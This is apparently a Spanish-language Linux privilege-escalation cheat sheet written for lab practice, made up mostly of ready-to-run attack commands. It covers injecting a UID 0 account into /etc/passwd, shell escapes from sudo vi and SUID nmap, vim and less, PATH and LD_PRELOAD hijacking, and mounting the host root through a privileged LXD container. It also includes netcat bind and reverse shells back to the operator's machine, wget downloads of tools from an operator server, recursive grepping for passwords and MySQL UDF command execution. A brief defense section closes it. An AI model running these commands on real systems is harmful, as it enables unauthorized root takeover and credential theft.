Escalación de Privilegios en Linux
Escalada de privilegios en Linux: SUID/SGID, sudo y GTFOBins, PATH hijacking, /etc/passwd, capabilities, cron, NFS y MySQL UDF.
Escalación de Privilegios en Linux
Operational Scope & Technical Objective
La escalada de privilegios se divide en dos categorías: vertical (obtener UID 0 o un EUID superior) y horizontal (moverse a otra cuenta del mismo nivel). El flujo de trabajo es enumerar primero, explotar después: la enumeración (manual o con LinEnum) debe cubrir el kernel y su versión, los binarios SUID/SGID, los crontabs, y los archivos sensibles legibles/escribibles. Este post compila el cheatsheet de enumeración y los vectores de explotación más comunes en hosts Linux.
Cheatsheet de Escalación de Privilegios
| Comando | Descripción |
|---|---|
ssh htb-student@<target IP> |
SSH al target de laboratorio |
ps aux | grep root |
Procesos que corren como root |
ls /home |
Directorios home de usuarios |
ls -l ~/.ssh |
Claves SSH del usuario actual |
history |
Historial de Bash del usuario actual |
sudo -l |
Comandos ejecutables como otro usuario/root |
ls -la /etc/cron.daily |
Cronjobs diarios |
lsblk |
Filesystems/discos sin montar |
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null |
Directorios world-writable |
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null |
Archivos world-writable |
uname -a |
Versión del kernel |
cat /etc/lsb-release |
Versión del SO |
gcc kernel_expoit.c -o kernel_expoit |
Compilar un exploit en C |
screen -v |
Versión de Screen instalada |
./pspy64 -pf -i 1000 |
Monitorizar procesos con pspy |
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null |
Binarios con bit SUID |
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null |
Binarios con bit SETGID |
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root |
Escalada con tcpdump (-z ejecuta comando) |
echo $PATH |
Variable PATH del usuario |
PATH=.:${PATH} |
Anteponer . al PATH |
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null |
Búsqueda de archivos de configuración |
ldd /bin/ls |
Shared objects que requiere un binario |
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart |
Escalada vía LD_PRELOAD |
readelf -d payroll | grep PATH |
Verificar RUNPATH de un binario |
gcc src.c -fPIC -shared -o /development/libshared.so |
Compilar una shared library |
lxd init |
Inicializar LXD |
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine |
Importar una imagen local |
lxc init alpine r00t -c security.privileged=true |
Contenedor LXD privilegiado |
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true |
Montar / del host en el contenedor |
lxc start r00t |
Arrancar el contenedor |
showmount -e 10.129.2.12 |
Listar exportaciones NFS |
sudo mount -t nfs 10.129.2.12:/tmp /mnt |
Montar un share NFS |
tmux -S /shareds new -s debugsess |
Sesión tmux con socket compartido |
./lynis audit system |
Auditoría de sistema con Lynis |
Enumeración
Salidas de LinEnum relevantes para escalada:
- Kernel: si es antiguo, candidato a exploit del kernel.
- SUID files: binarios con
u=sog=s. - Crontab contents: tareas periódicas y sus rutas/permisos.
- Can we read or write sensitive files: legibilidad/escritura de
/etc/passwd,/etc/shadow, claves.
Descarga de LinEnum:
# Máquina del operador
python3 -m http.server 8000
# Máquina objetivo
wget http://IPTun0:Puerto/archivo
chmod +x archivo
./archivo
Alternativa sin descarga: crear un archivo .sh en el target, pegar el raw de LinEnum, guardarlo y chmod +x.
Creación de un Usuario Nuevo (escritura sobre /etc/passwd)
Formato de /etc/passwd
Cada línea representa un usuario con 7 campos separados por ::
- Username — nombre usado al iniciar sesión (1–32 caracteres).
- Password — una
xindica que el hash vive en/etc/shadow; el hash se genera conpasswd, no a mano. - User ID (UID) —
0es root;1–99cuentas predefinidas;100–999cuentas de sistema/administración. - Group ID (GID) — grupo primario (definido en
/etc/group). - User ID Info — campo comentario (nombre completo, teléfono, etc.).
- Home directory — ruta absoluta del home; si no existe, el usuario cae en
/. - Command/shell — shell o comando de login (no tiene por qué ser una shell).
Si se tiene permiso de escritura sobre /etc/passwd, se agrega un usuario nuevo con UID 0. Primero se genera un hash compatible:
openssl passwd -1 -salt new 123
# $1$new$p7ptkEKU1HnaHpRtzNizS1
# Se agrega la línea a /etc/passwd
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
# Acceso: su new (contraseña 123) → UID 0
Binarios Mal Configurados (sudo)
- Revisar
sudo -l: cualquier binario conNOPASSWDo con(ALL)es candidato. - Consultar GTFOBins para el binario exacto y su método
sudo.
Ejemplo con vi:
sudo vi
:sh! # shell con los privilegios de sudo
Exploiting PATH Variable
# Crear un ejecutable que imite un binario referenciado por ruta relativa
echo "/bin/bash" > ls
chmod +x ls
export PATH=/tmp:$PATH
# Al ejecutar un script root que llama a 'ls' (sin ruta absoluta),
# se resuelve /tmp/ls y se obtiene una shell
Upgrade de Shell a TTY Completa
Referencia: Upgrading Simple Shells to Fully Interactive TTYs.
echo $TERM # valor de TERM en la máquina del operador
stty -a # filas y columnas del tty local
# En la reverse shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# En la máquina del operador (Kali)
stty raw -echo; fg # después de Ctrl+Z
# opcional: usar otra terminal para no perder el tty local
# De vuelta en la reverse shell
stty rows <NUMERO_OBTENIDO> columns <NUMERO_OBTENIDO>
export TERM=xterm-256color
# Ctrl+C ya no mata la shell; comprobarlo con ^C
Spawn de Shell Interactiva y Entorno
python -c 'import pty;pty.spawn("/bin/bash");'
# Ctrl+Z en el host local
stty raw -echo
fg
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
export TERM=xterm-256color
export SHELL=bash
stty rows <rows> columns <cols>
Restricted bash
perl -e 'exec "/bin/sh";'
/bin/sh -i
exec "/bin/sh";
echo os.system('/bin/bash')
ssh user@$ip nc $localip 4444 -e /bin/sh
export TERM=linux
SUID — Detección
find / -perm -1000 -type d 2>/dev/null # Sticky bit: solo owner/root borran o renombran
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000): corre con el grupo del archivo
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000): corre con el owner del archivo
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID o SUID (búsqueda completa)
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
# Búsqueda rápida en lugares comunes (/bin, /sbin)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
# SUID/SGID, sin symlinks, profundidad 3, sin errores
find / -perm /u=s -user "User name that you are looking for" 2>/dev/null
Archivos Escribibles y sin Dueño
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # dirs world-writable
find / -xdev \( -nouser -o -nogroup \) -print # archivos sin owner/group
Escribibles por el usuario actual
find / -perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -user `whoami` 2>/dev/null
Scripts modificables
find / -writable -type f -name "*.py" 2>/dev/null # Python files escribibles
ls -aRl / | awk '$1 ~ /^.*w.*/' 2>/dev/null # Cualquiera
ls -aRl / | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl / | awk '$1 ~ /^.....w/' 2>/dev/null # Grupo
ls -aRl / | awk '$1 ~ /w.$/' 2>/dev/null # Others
find / -readable -type f 2>/dev/null # Legibles por cualquiera
find / -readable -type f -maxdepth 1 2>/dev/null
Servicios Corriendo como Root
ps aux | grep "root"
# /usr/bin/journalctl normalmente no es legible por el usuario → ¿cron job?
Búsqueda de Contraseñas
grep -rnw '/' -ie 'pass' --color=always
grep -rnw '/' -ie 'DB_PASS' --color=always
grep -rnw '/' -ie 'DB_PASSWORD' --color=always
grep -rnw '/' -ie 'DB_USER' --color=always
Exploit Time
SUID — ¿está fijado el bit en estas aplicaciones?
# Nmap (versiones 2.02–5.21 tenían modo interactivo)
nmap -V
nmap --interactive
nmap> !sh
# Vim / vim.tiny
vim.tiny
# ESC → :set shell=/bin/sh → :shell
# find
touch pentestlab
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
# Bash
bash -p
# Less
less /etc/passwd
!/bin/sh
# Nano: modificar /etc/sudoers
# <user> ALL=(ALL) NOPASSWD:ALL
# cp: sobrescribir /etc/passwd con un hash propio
¿Hay una aplicación SUID custom? Analizar cómo se ejecuta, si referencia binarios por ruta relativa (PATH hijacking) o carga shared libraries desde rutas modificables.
NFS Privilege Escalation
Linux Capabilities
find / -type f -print0 2>/dev/null | xargs -0 getcap 2>/dev/null
getcap -r /
cap_setuid+ep, cap_dac_read_search, cap_dac_override o cap_sys_ptrace permiten escalada si el binario expuesto admite abuso (ver GTFOBins).
MySQL Corriendo como Root
- MySQL 4.x/5.0 (Linux) — User-Defined Function (UDF) Dynamic Library: https://www.exploit-db.com/exploits/1518/
select sys_exec('echo test>/tmp/test.txt');
select sys_eval('echo test>/tmp/test.txt');
Real-World Offensive/Defensive Scenarios
- Enumeración dirigida (ofensivo): correlacionar
sudo -l+ SUID + crontabs + capabilities cubre ~80% de los vectores clásicos antes de recurrir a exploits de kernel; los exploits de kernel deben ser la última opción (crash risk). - Validación manual (ofensivo): LinPEAS sugiere, pero la verificación manual de
GTFOBinspor binario exacto evita falsos positivos. - Defensa: auditar periodicamente SUID/SGID (
find / -perm -4000), retirar capabilities innecesarias consetcap -r, proteger/etc/passwd//etc/shadow(modo644/640) y fijarsecure_pathen sudoers para neutralizar PATH hijacking.